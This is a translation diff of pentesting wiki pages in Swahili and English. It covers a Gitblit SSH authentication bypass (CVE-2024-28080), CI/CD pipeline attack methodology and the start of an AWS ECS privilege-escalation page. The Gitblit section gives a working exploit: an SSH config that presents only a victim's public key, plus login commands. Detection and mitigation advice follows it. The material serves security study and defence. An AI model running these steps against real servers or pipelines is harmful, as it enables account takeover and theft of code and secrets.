Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',

src/pentesting-ci-cd/gitblit-security/README.md

@@ -1,10 +1,10 @@
-# Gitblit Security
+# Usalama wa Gitblit
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Gitblit ni nini
 
-Gitblit ni server ya Git inayojitegemea imeandikwa kwa Java. Inaweza kuendeshwa kama JAR huru au katika servlet containers na inaambatanisha huduma ya SSH iliyojengwa ndani (Apache MINA SSHD) kwa Git over SSH.
+Gitblit ni seva ya Git inayomilikiwa mwenyewe iliyoandikwa kwa Java. Inaweza kuendesha kama JAR huru au katika servlet containers na inakuja na huduma ya SSH iliyojengwa ndani (Apache MINA SSHD) kwa Git kupitia SSH.
 
 ## Mada
 
@@ -16,6 +16,6 @@ gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
 
 ## Marejeo
 
-- [Gitblit project](https://gitblit.com/)
+- [Mradi wa Gitblit](https://gitblit.com/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md

@@ -4,36 +4,36 @@
 
 ## Muhtasari
 
-CVE-2024-28080 ni authentication bypass kwenye huduma ya embedded SSH ya Gitblit kutokana na kushughulikia vibaya state ya session wakati wa kuunganisha na Apache MINA SSHD. Ikiwa akaunti ya mtumiaji ina angalau ssh public key moja ilyosajiliwa, mwadui anayeijua jina la mtumiaji na moja ya public keys zao anaweza ku-authenticate bila private key na bila password.
+CVE-2024-28080 ni authentication bypass katika huduma ya embedded SSH ya Gitblit kutokana na kushughulikia state ya session isiyo sahihi wakati wa kuingiliana na Apache MINA SSHD. Ikiwa akaunti ya mtumiaji ina angalau SSH public key iliyosajiliwa, mshambuliaji anayejua username ya mdhuriwa na moja ya public keys za mtumiaji huyo anaweza authenticate bila private key na bila password.
 
-- Yaliyoathiriwa: Gitblit < 1.10.0 (observed on 1.9.3)
+- Imeathiriwa: Gitblit < 1.10.0 (observed on 1.9.3)
 - Imerekebishwa: 1.10.0
-- Mahitaji ya kutumia udhaifu:
-- Git over SSH imewezeshwa kwenye instance
-- Akaunti ya mwathirika ina angalau SSH public key moja iliyosajiliwa katika Gitblit
-- Mwadui anajua jina la mtumiaji wa mwathirika na moja ya public keys zao (mara nyingi inaweza kupatikana, kwa mfano, https://github.com/<username>.keys)
+- Mahitaji ya kuitumia:
+- Git over SSH enabled on the instance
+- Akaunti ya mwathirika ina angalau SSH public key iliyosajiliwa ndani ya Gitblit
+- Mshambuliaji anajua username ya mwathirika na moja ya public keys zao (kwa kawaida inaweza kupatikana, mfano, https://github.com/<username>.keys)
 
-## Sababu ya mzizi (state leaks between SSH methods)
+## Sababu ya msingi (state leaks between SSH methods)
 
-Kwenye RFC 4252, public‑key authentication hufanyika kwa awamu mbili: server kwanza huangalia kama public key iliyotolewa inakubalika kwa username, na tu baada ya changamoto/majibu yenye signature ndiyo inamthibitisha mtumiaji. Katika MINA SSHD, PublickeyAuthenticator huitwa mara mbili: wakati wa kukubaliwa kwa key (bado hakuna signature) na baadaye baada ya client kurudisha signature.
+Katika RFC 4252, public‑key authentication hufanywa kwa hatua mbili: server kwa kwanza hukagua kama public key iliyotolewa inakubalika kwa username, na tu baada ya challenge/response pamoja na signature ndipo inamthibitisha mtumiaji. Katika MINA SSHD, PublickeyAuthenticator inaitwa mara mbili: kwenye key acceptance (bado hakuna signature) na baadaye baada ya client kurudisha signature.
 
-PublickeyAuthenticator ya Gitblit ilibadilisha session context kwenye mwito wa kwanza, kabla ya signature, kwa kuambatisha UserModel iliyo authenticated kwenye session na kurudisha true ("key acceptable"). Wakati authentication baadaye ilipopungua hadi password, PasswordAuthenticator ilimtegemea state ya session iliyobadilishwa na kukata mzunguko, ikirudisha true bila kuthibitisha password. Matokeo yake, password yoyote (ikiwa ni pamoja na tupu) ilikubaliwa baada ya "kukubaliwa" kwa public‑key hapo awali kwa mtumiaji huyo huyo.
+PublickeyAuthenticator ya Gitblit ilibadilisha session context kwenye mwito wa kwanza, wa kabla ya signature, kwa kubindisha authenticated UserModel kwenye session na kurudisha true ("key acceptable"). Wakati authentication baadaye ilipotanguka hadi password, PasswordAuthenticator iliamini state hiyo iliyobadilishwa ya session na kukataa hatua za uthibitisho, kurudisha true bila kuvalidate password. Matokeo yake, password yoyote (ikiwa ni pamoja na tupu) ilikubaliwa baada ya hapo kuwa na public‑key "acceptance" kwa user huyo.
 
-Mtiririko wa juu ulio na kasoro:
+Mtiririko uliokosea kwa kiwango cha juu:
 
-1) Client inapendekeza username + public key (bado hakuna signature)
-2) Server inatambua key kuwa ya mtumiaji na kwa mapema inaambatisha mtumiaji kwenye session, inarudisha true ("acceptable")
-3) Client hawezi kusaini (hakuna private key), hivyo auth inarudi nyuma hadi password
-4) Password auth inaona mtumiaji tayari amepo kwenye session na bila masharti inarudisha mafanikio
+1) Client inatoa username + public key (bado hakuna signature)
+2) Server inatambua key kuwa ya user na kwa mapema inaweka user kwenye session, ikarudisha true ("acceptable")
+3) Client hawezi kusign (hakuna private key), hivyo auth inarudi kwa password
+4) Password auth inaona user tayari yupo kwenye session na bila masharti inarudisha success
 
-## Utekelezaji hatua‑kwa‑hatua
+## Hatua‑kwa‑hatua exploitation
 
-- Kusanya jina la mtumiaji wa mwathirika na moja ya public keys zao:
-- GitHub inaonyesha public keys kwenye https://github.com/<username>.keys
-- Server za umma mara nyingi zinaonyesha authorized_keys
-- Sanidi OpenSSH kuonyesha nusu ya umma pekee ili uzalishaji wa signature usifanye kazi, ukasababisha kuanguka hadi password ilhali bado ukisababisha njia ya kukubaliwa kwa public‑key kwenye server.
+- Kusanya username ya mwathirika na moja ya public keys zao:
+- GitHub exposes public keys at https://github.com/<username>.keys
+- Public servers mara nyingi huonyesha authorized_keys
+- Configure OpenSSH ili ipresent sehemu ya public pekee ili signature generation itashindwa, kulazimisha fallback kwa password huku ikichochea public‑key acceptance path kwenye server.
 
-Mfano wa config ya SSH client (hakuna private key inapatikana):
+Mfano wa SSH client config (no private key available):
 ```sshconfig
 # ~/.ssh/config
 Host gitblit-target
@@ -44,56 +44,56 @@ PreferredAuthentications publickey,password
 IdentitiesOnly yes
 IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)
 ```
-Unganisha kisha bonyeza Enter kwenye onyo la nenosiri (au andika mfuatano wowote):
+Unganisha na bonyeza Enter kwenye ombi la nenosiri (au andika mfuatano wowote):
 ```bash
 ssh gitblit-target
 # or Git over SSH
 GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
 ```
-Authentication inafanyika kwa sababu awamu ya mapema ya public‑key ilibadilisha session kuwa mtumiaji aliyeidhinishwa, na password auth inaamini kwa makosa hali hiyo.
+Uthibitishaji unafanikiwa kwa sababu awamu ya awali ya public‑key ilibadilisha kikao kuwa mtumiaji aliyethibitishwa, na password auth inaamini kwa makosa hali hiyo.
 
-Note: Ikiwa ControlMaster multiplexing imewezeshwa katika usanidi wako wa SSH, amri za baadaye za Git zinaweza kutumia tena muunganisho uliothibitishwa, ikiongeza athari.
+Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
 
 ## Athari
 
-- Kupangiliwa kikamilifu kwa mtumiaji yeyote wa Gitblit ambaye ana angalau public key moja iliyosajiliwa
-- Ufikiaji wa kusoma/kuandika kwenye repositories kulingana na ruhusa za mwathirika (source exfiltration, unauthorized pushes, supply‑chain risks)
-- Inaweza kuwa na athari za usimamizi ikiwa mtumiaji wa admin atalengwa
-- Pure network exploit; hakuna brute force au private key inahitajika
+- Udanganyifu kamili wa mtumiaji yeyote wa Gitblit ambaye ana angalau SSH public key moja iliyosajiliwa
+- Ufikiaji wa kusoma/kuandika kwa repositories kulingana na ruhusa za mwathirika (source exfiltration, unauthorized pushes, supply‑chain risks)
+- Inaweza kuathiri usimamizi ikiwa lengo ni mtumiaji admin
+- Ni exploit safi ya mtandao; hakuna brute force au private key inahitajika
 
-## Mawazo ya kugundua
+## Mawazo ya utambuzi
 
-- Pitia logi za SSH kwa mfululizo ambapo jaribio la publickey linafuatwa na password authentication iliyofanikiwa na password tupu au fupi sana
-- Tafuta mtiririko: publickey method inayotoa unsupported/mismatched key material ikifuatwa na mafanikio ya mara moja ya password kwa username ileile
+- Kagua SSH logs kwa mfululizo ambapo jaribio la publickey linafuatiwa na password authentication iliyofanikiwa kwa password tupu au fupi sana
+- Tafuta mtiririko: publickey method inayotoa unsupported/mismatched key material ikifuatiwa na mafanikio ya mara moja ya password kwa username ile ile
 
 ## Uzuiaji
 
 - Sasisha hadi Gitblit v1.10.0+
-- Hadi usasisho ufanyike:
+- Mpaka kusasisha:
 - Zima Git over SSH kwenye Gitblit, au
-- Zuia ufikiaji wa mtandao kwa huduma ya SSH, na
-- Fuatilia mifumo ya kushukiwa iliyoelezewa hapo juu
-- Badilisha credentials za watumiaji walioathirika ikiwa kushukiwa kwa kompromisi
+- Zuia upatikanaji wa mtandao kwa huduma ya SSH, na
+- Fuatilia mifumo isiyo ya kawaida iliyoelezwa hapo juu
+- Badilisha credentials za watumiaji walioathirika ikiwa kunashukiwa kompromisi
 
-## General: kutumia vibaya SSH auth method state‑leakage (MINA/OpenSSH‑based services)
+## Kwa ujumla: matumizi mabaya ya SSH auth method state‑leakage (MINA/OpenSSH‑based services)
 
-Mfano: Ikiwa public‑key authenticator ya server inabadilisha user/session state wakati wa awamu ya pre‑signature "key acceptable" na authenticators wengine (mfano, password) wanaamini hali hiyo, unaweza kupitisha authentication kwa:
+Mfano: Ikiwa public‑key authenticator ya server inabadilisha state ya mtumiaji/kikao wakati wa awamu ya pre‑signature "key acceptable" na authenticators wengine (mf., password) wanaamini hali hiyo, unaweza kupitisha uthibitisho kwa:
 
-- Kutoa public key halali kwa mtumiaji lengwa (hakuna private key)
-- Kulazimisha client kushindwa kusaini ili server irudi kwa password
-- Kutoa password yoyote wakati password authenticator inakata mzunguko kutokana na leaked state
+- Kuonyesha public key halali ya mtumiaji lengwa (hakuna private key)
+- Kulazimisha client kushindwa kusaini ili server irejelee kwenye password
+- Kutoa password yoyote huku password authenticator ikifupika kwa leaked state
 
 Vidokezo vya vitendo:
 
-- Public key harvesting kwa wingi: vunja public keys kutoka vyanzo vya kawaida kama https://github.com/<username>.keys, directory za shirika, kurasa za timu, leaked authorized_keys
-- Kulazimisha kushindwa kwa saini (client‑side): elekeza IdentityFile kwa .pub tu, weka IdentitiesOnly yes, na ushikilie PreferredAuthentications ijiunge publickey kisha password
-- Mapungufu ya integrasiyo ya MINA SSHD:
-- PublickeyAuthenticator.authenticate(...) haipaswi kuambatisha user/session state hadi njia ya post‑signature verification ithibitishe signature
-- PasswordAuthenticator.authenticate(...) haipaswi kubaini mafanikio kutokana na hali yoyote iliyobadilishwa wakati wa njia ya awali ya authentication ambayo haikuwa kamili
+- Public key harvesting at scale: vuta public keys kutoka vyanzo vya kawaida kama https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
+- Forcing signature failure (client‑side): elekeza IdentityFile kwa .pub pekee, weka IdentitiesOnly yes, endelea kuwa PreferredAuthentications inajumuisha publickey kisha password
+- MINA SSHD integration pitfalls:
+- PublickeyAuthenticator.authenticate(...) haipaswi kuambatanisha user/session state hadi post‑signature verification path ithibitishe signature
+- PasswordAuthenticator.authenticate(...) haipaswi kubaini mafanikio kutokana na state yoyote iliyobadilishwa wakati wa njia ya uthibitisho iliyopita, isiyokamilika
 
-Vidokezo na fasihi zinazohusiana na itifaki/usanifu:
+Related protocol/design notes and literature:
 - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
-- Majadiliano ya kihistoria kuhusu early acceptance oracles na auth races, mfano CVE‑2016‑20012 kuhusu tabia ya OpenSSH
+- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
 
 ## References
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,85 +6,84 @@
 
 ## VCS
 
-VCS inamaanisha **Version Control System**, mfumo huu unawawezesha watengenezaji **kusimamia msimbo wao wa chanzo**. Ile inayotumika sana ni **git** na kawaida utapata kampuni zikitumia moja kati ya **platforms** zifuatazo:
+VCS inamaanisha **Version Control System**, mfumo huu unawawezesha watengenezaji **kusimamia source code yao**. Iliyo ya kawaida zaidi ni **git** na kawaida utapata kampuni zikitumia moja ya **platforms** zifuatazo:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
 - Gitblit
-- Cloud providers (they offer their own VCS platforms)
-
+- Cloud providers (hutoa VCS platforms zao)
 
 ## CI/CD Pipelines
 
-CI/CD pipelines zinawawezesha watengenezaji **kuunda utekelezaji wa code kwa njia ya otomatiki** kwa madhumuni mbalimbali, ikijumuisha kujenga, kujaribu, na ku-deploy applications. Mifumo hii ya kazi za otomatiki huanzishwa kwa **vitendo maalum**, kama vile pushes za code, pull requests, au kazi zilizopangwa. Zinasaidia kurahisisha mchakato kutoka development hadi production.
+CI/CD pipelines zinawawezesha watengenezaji **kuendesha kiotomatiki execution ya code** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na ku-deploy applications. Workflows hizi za otomatiki huanza kwa **vitendo maalum**, kama vile code pushes, pull requests, au scheduled tasks. Zinasaidia kurahisisha mchakato kutoka development hadi production.
 
-Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa **credentials zenye ruhusa za juu ili ku-deploy code au kufikia taarifa nyeti**.
+Hata hivyo, mifumo hii inahitaji kuendeshwa **mahali fulani** na kawaida kwa **credentials zilizo na privileges ili ku-deploy code au kufikia taarifa nyeti**.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Hata kama baadhi ya VCS platforms zinaruhusu kuunda pipelines kwa sehemu hii tutaangalia tu mashambulizi yanayowezekana kwa udhibiti wa source code.
 
-Platforms zinazohifadhi source code ya project yako zina taarifa nyeti na watu wanapaswa kuwa makini sana na ruhusa zinazopewa ndani ya jukwaa hili. Hapa kuna matatizo ya kawaida kwenye VCS platforms ambayo mshambuliaji anaweza kuyatumia:
+Platforms zinazoendelea na source code ya project yako zina taarifa nyeti na watu wanapaswa kuwa makini sana na ruhusa zinazotolewa ndani ya platform hii. Hivi ni baadhi ya matatizo ya kawaida kwenye VCS platforms ambayo attacker anaweza kuyatumia:
 
-- **Leaks**: Ikiwa msimbo wako una leaks katika commits na mshambuliaji anaweza kupata repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks.
-- **Access**: Ikiwa mshambuliaji anaweza **kupata akaunti ndani ya VCS platform** anaweza kupata **uwazi zaidi na ruhusa**.
-- **Register**: Baadhi ya platforms zitamruhusu mtumiaji wa nje kuunda akaunti tu.
-- **SSO**: Baadhi ya platforms hazitiruhusu watumiaji kujisajili, lakini zitamruhusu mtu yeyote kuingia kwa SSO halali (hivyo mshambuliaji anaweza kutumia github account yake kuingia kwa mfano).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens mtumiaji anaweza kuiba ili kufikia repo kwa njia fulani.
-- **Webhooks**: VCS platforms zinaruhusu kuunda webhooks. Ikiwa hazilindwa na secrets zisizoonekana mshambuliaji anaweza kuzivitumia.
-- If no secret is in place, the attacker could abuse the webhook of the third party platform
-- If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** Ikiwa mhalifu ana aina yoyote ya **write** access kwenye repos, anaweza kujaribu **kuingiza malicious code**. Ili kufanikiwa anaweza kuhitaji **kukaidi branch protections**. Hili linaweza kufanywa kwa malengo tofauti:
-  - Kufanya compromise ya main branch ili **kuathiri production**.
-  - Kufanya compromise ya main (au matawi mengine) ili **kuathiri mashine za developers** (kwa kuwa mara nyingi wanatekeleza tests, terraform au vitu vingine ndani ya repo kwenye mashine zao).
-- **Compromise the pipeline** (angalia sehemu ifuatayo)
+- **Leaks**: Ikiwa code yako ina leaks katika commits na attacker anaweza kupata repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks.
+- **Access**: Ikiwa attacker anaweza **kupata account ndani ya VCS platform** anaweza kupata **uwazi zaidi na ruhusa**.
+- **Register**: Baadhi ya platforms zitamruhusu tu watumiaji wa nje kuunda account.
+- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kusajili, lakini zitawaweka watu kuingia kwa SSO halali (hivyo attacker anaweza kutumia github account yake kuingia kwa mfano).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina mbalimbali za tokens ambazo mtumiaji anaweza kuiba ili kufikia repo kwa namna fulani.
+- **Webhooks**: VCS platforms zinaruhusu kuunda webhooks. Ikiwa hazilindwa na secrets zisizoonekana attacker anaweza kuzitumia.
+  - Ikiwa hakuna secret, attacker anaweza kutumia webhook ya third party platform
+  - Ikiwa secret iko kwenye URL, hali ni sawa na attacker pia atakuwa na secret
+- **Code compromise:** Ikiwa mtu mwenye nia mbaya ana aina yoyote ya **write** access juu ya repos, anaweza kujaribu **kujaza code ya kibaya**. Ili kufanikiwa anaweza kuhitaji **kupitie branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti:
+  - Kuathiri main branch ili **kuathiri production**.
+  - Kuathiri main (au branches nyingine) ili **kuathiri machines za developers** (kwa kuwa kawaida wanaendesha test, terraform au mambo mengine ndani ya repo kwenye mashine zao).
+  - **Compromise the pipeline** (angalia sehemu inayofuata)
 
 ## Pipelines Pentesting Methodology
 
-Njia inayotumika zaidi kuainisha pipeline ni kwa kutumia **CI configuration file iliyohifadhiwa kwenye repository** ambayo pipeline inajenga. Faili hii inaelezea mpangilio wa jobs zinazotekelezwa, masharti yanayoathiri mtiririko, na mipangilio ya mazingira ya build.\
-Faili hizi mara nyingi zina majina na muundo uliokuwapo, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files zilizomo chini ya .github/workflows. Wakati zinapoanzishwa, job ya pipeline **huchukua code** kutoka chanzo kilichochaguliwa (mfano commit / branch), na **hutekeleza amri zilizobainishwa kwenye CI configuration file** dhidi ya code hiyo.
+Njia ya kawaida ya kufafanua pipeline ni kwa kutumia **CI configuration file hosted in the repository** pipeline inajenga. File hii inaelezea mpangilio wa jobs zinazoendeshwa, masharti yanayoathiri flow, na settings za build environment.\
+Files hizi kawaida zina jina na format inayofanana, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files zilizo chini ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inapull code** kutoka source iliyochaguliwa (mfano commit / branch), na **inaendesha commands zilizobainishwa katika CI configuration file** dhidi ya code hiyo.
 
-Kwa hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kufanya compromise kwa configuration files** hizo au **amri zinazotekelezwa**.
+Kwa hivyo lengo kuu la attacker ni kwa namna fulani **kuathiri files za configuration** au **commands wanazoendesha**.
 
 ### PPE - Poisoned Pipeline Execution
 
-The Poisoned Pipeline Execution (PPE) path hutumia ruhusa katika SCM repository kuathiri CI pipeline na kutekeleza amri hatarishi. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha CI configuration files au faili nyingine zinazotumiwa na job ya pipeline ili kujumuisha amri za uharifu. Hii "inafanya toxic" pipeline, na kusababisha utekelezaji wa amri hizo hatarishi.
+The Poisoned Pipeline Execution (PPE) path hutumia permissions katika SCM repository ili kuathiri CI pipeline na kuendesha commands zenye madhara. Watumiaji wenye ruhusa wanazoweza kubadilisha CI configuration files au files nyingine zinazotumika na job ya pipeline ili kuwaweka commands za kigaidi. Hii "inafanya poison" CI pipeline, na kusababisha execution ya commands hizo.
 
-Ili mhalifu afanikiwe kufanikisha shambulio la PPE anapaswa:
+Ili muasi afanikiwe kufanya udukuzi wa PPE anahitaji:
 
 - Kuwa na **write access to the VCS platform**, kwani kawaida pipelines zinaanzishwa wakati push au pull request inafanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access).
 - Kumbuka kwamba wakati mwingine **external PR inaweza kuhesabiwa kama "write access"**.
-- Hata kama ana ruhusa za kuandika, anahitaji kuwa ameweza **kubadilisha CI config file au faili nyingine ambayo config inategemea**.
-- Kwa hili, anaweza kuhitaji kukabiliana na **branch protections**.
+- Hata kama ana write permissions, anahitaji kuhakikisha anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**.
+- Kwa hili, anaweza kuhitaji kuweza **kupitia branch protections**.
 
-Kuna aina 3 za PPE:
+Kuna flavours 3 za PPE:
 
-- **D-PPE**: A **Direct PPE** attack hutokea wakati muhusika **anabadilisha CI config** file ambayo itatekelezwa.
-- **I-DDE**: A **Indirect PPE** attack hutokea wakati muhusika **anabadilisha** faili ambayo CI config inategemea (kama make file au terraform config).
-- **Public PPE or 3PE**: Katika baadhi ya matukio pipelines zinaweza **kuanzishwa na watumiaji ambao hawana write access kwenye repo** (na ambao huenda hata sio sehemu ya org) kwa sababu wanaweza kutuma PR.
-- **3PE Command Injection**: Kawaida, CI/CD pipelines huweka environment variables zenye **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama title ya PR) na inatumika katika sehemu hatarishi (kama kutekeleza sh commands), mshambuliaji anaweza **kuingiza amri ndani yake**.
+- **D-PPE**: A **Direct PPE** attack hutokea wakati actor **anabadilisha CI config** file ambayo itatekelezwa.
+- **I-DDE**: A **Indirect PPE** attack hutokea wakati actor **anabadilisha** **file** ambayo CI config file inayotekelezwa **inategemea** (kama make file au terraform config).
+- **Public PPE or 3PE**: Katika baadhi ya kesi pipelines zinaweza kuanzishwa na watumiaji ambao hawana write access katika repo (na ambao huenda si sehemu ya org) kwa sababu wanaweza kutuma PR.
+- **3PE Command Injection**: Kawaida, CI/CD pipelines huweka **environment variables** zenye **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na inatumiwa mahali hatari (kama kuendesha **sh commands**), attacker anaweza **kuingiza commands ndani yake**.
 
 ### Exploitation Benefits
 
-Kutambua aina 3 za ku-poison pipeline, tuchunguze kile mshambuliaji anaweza kupata baada ya kufanikisha udukuzi:
+Kujua flavours 3 za ku-poison pipeline, hebu tazame anachoweza kupata attacker baada ya exploitation iliyofanikiwa:
 
-- **Secrets**: Kama ilivyotajwa hapo juu, pipelines zinahitaji **privileges** kwa ajili ya jobs zao (kupata code, kuijenga, ku-deploy...) na privileges hizi mara nyingi huwekwa kama **secrets**. Secrets hizi kawaida zinapatikana kupitia **env variables au files ndani ya mfumo**. Hivyo mshambuliaji atajaribu kila mara ku-exfiltrate secrets nyingi iwezekanavyo.
-- Kulingana na jukwaa la pipeline, mshambuliaji **anaweza kuhitaji kubainisha secrets ndani ya config**. Hii ina maana kwamba ikiwa mshambuliaji hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **kutoa tu secrets ambazo pipeline hiyo inazo**.
-- **Computation**: Code inatekelezwa mahali fulani; kutegemea wapi inatekelezwa mshambuliaji anaweza kuweza kuendelea ku-pivot.
-- **On-Premises**: Ikiwa pipelines zinaendeshwa on-premises, mshambuliaji anaweza kuingia kwenye **internal network na upatikanaji wa rasilimali zaidi**.
-- **Cloud**: Mshambuliaji anaweza kufikia **mashine nyingine katika cloud** lakini pia anaweza **ku-exfiltrate** IAM roles/service accounts **tokens** kutoka humo ili kupata **access zaidi ndani ya cloud**.
-- **Platforms machine**: Wakati mwingine jobs zinaendeshwa ndani ya **machines za pipelines platform**, ambazo kawaida ziko ndani ya cloud na zina **access ndogo zaidi**.
-- **Select it:** Wakati mwingine **pipelines platform itakuwa imepangwa kuendesha kwenye machines mbalimbali** na ukibadilisha CI configuration file unaweza **onyesha wapi unataka kuendesha code ya uharibifu**. Katika hali hii, mshambuliaji kawaida ataweka reverse shell kwenye kila machine inayowezekana ili kujaribu kuuza udhaifu zaidi.
-- **Compromise production**: Ikiwa uko ndani ya pipeline na version ya mwisho inajengwa na ku-deploy kutoka kwake, unaweza **kuathiri code itakayokwenda kuendesha production**.
+- **Secrets**: Kama ilivyoripotiwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kupata code, kuijenga, ku-deploy...) na privileges hizi kawaida hutolewa kwa **secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo attacker atajaribu kila mara kutoa secrets nyingi iwezekanavyo.
+- Kutegemea platform ya pipeline attacker **anaweza kuhitaji kubainisha secrets kwenye config**. Hii inamaanisha kwamba kama attacker hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **kutoa tu secrets ambazo pipeline ina**.
+- **Computation**: Code inaendeshwa mahali fulani, kutegemea wapi inafanyika attacker anaweza kuweza pivot zaidi.
+- **On-Premises**: Ikiwa pipelines zinaendeshwa on premises, attacker anaweza kuingia kwenye **internal network yenye access kwa rasilimali zaidi**.
+- **Cloud**: attacker anaweza kufikia **mashine nyingine kwenye cloud** lakini pia anaweza **kutoa** IAM roles/service accounts **tokens** kutoka kwake kupata **access zaidi ndani ya cloud**.
+- **Platforms machine**: Wakati mwingine jobs zitaendeshwa ndani ya **pipelines platform machines**, ambazo kawaida ziko ndani ya cloud na **hakuna access zaidi**.
+- **Select it:** Wakati mwingine **pipelines platform itakuwa imesanidi mashine kadhaa** na kama unaweza **kubadilisha CI configuration file** unaweza **bainisha wapi unataka kuendesha malicious code**. Katika hali hii, attacker huenda akaendesha reverse shell kwenye kila mashine inayowezekana ili kujaribu kuzifanyia exploit zaidi.
+- **Compromise production**: Ikiwa uko ndani ya pipeline na version ya mwisho inajengwa na ku-deploy kutoka kwake, unaweza **kuathiri code itakayofanya kazi production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni zana ya open-source ya kukagua software supply chain stack yako kwa ulinganifu wa usalama kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Ukaguzi unazingatia mchakato mzima wa SDLC, ambapo unaweza kufichua hatari kutoka wakati wa kuandika code hadi wakati wa ku-deploy.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni tool ya open-source kwa auditing software supply chain stack yako kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato mzima wa SDLC, ambapo inaweza kufichua hatari kutoka wakati wa code hadi wakati wa deploy.
 
 ### Top 10 CI/CD Security Risk
 
@@ -92,12 +91,12 @@ Angalia makala hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**h
 
 ### Labs
 
-- Kwenye kila platform ambayo unaweza kuendesha kwa local utapata maelezo ya jinsi ya kuiendesha local ili uweze kuiweka kama unavyotaka kuijaribu
+- Kwenye kila platform ambayo unaweza kuendesha locally utapata jinsi ya kuilauch locally ili uweze kuisanidi kama unavyotaka kuijaribu
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni zana ya static code analysis kwa ajili ya infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni static code analysis tool kwa infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-Taarifa zaidi kuhusu **ECS** iko katika:
+Taarifa zaidi kuhusu **ECS** ziko katika:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Taarifa zaidi kuhusu **ECS** iko katika:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Attacker akitumia vibaya ruhusa za `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kutengeneza task definition mpya** yenye **container hatarishi** ambayo inakopa credentials za metadata na **kuendesha**.
+Mshambuliaji anayelitumia vibaya ruhusa za `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda task definition mpya** yenye **container yenye madhara** ambayo inaiba kredensiali za metadata na **kuitekeleza**.
 
 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#endtabs }}
 
-**Potential Impact:** Privesc ya moja kwa moja kwa role tofauti ya ECS.
+**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja kwenda ECS role tofauti.
 
 ### `iam:PassRole`,`ecs:RunTask`
-Mshambuliaji ambaye ana ruhusa za `iam:PassRole` na `ecs:RunTask` anaweza kuanzisha task mpya ya ECS iliyo na marekebisho ya **execution role**, **task role** na thamani za **command** za container. Amri ya CLI `ecs run-task` ina bendera `--overrides` inayoruhusu kubadilisha wakati wa utekelezaji `executionRoleArn`, `taskRoleArn` na `command` ya container bila kuigusa task definition.
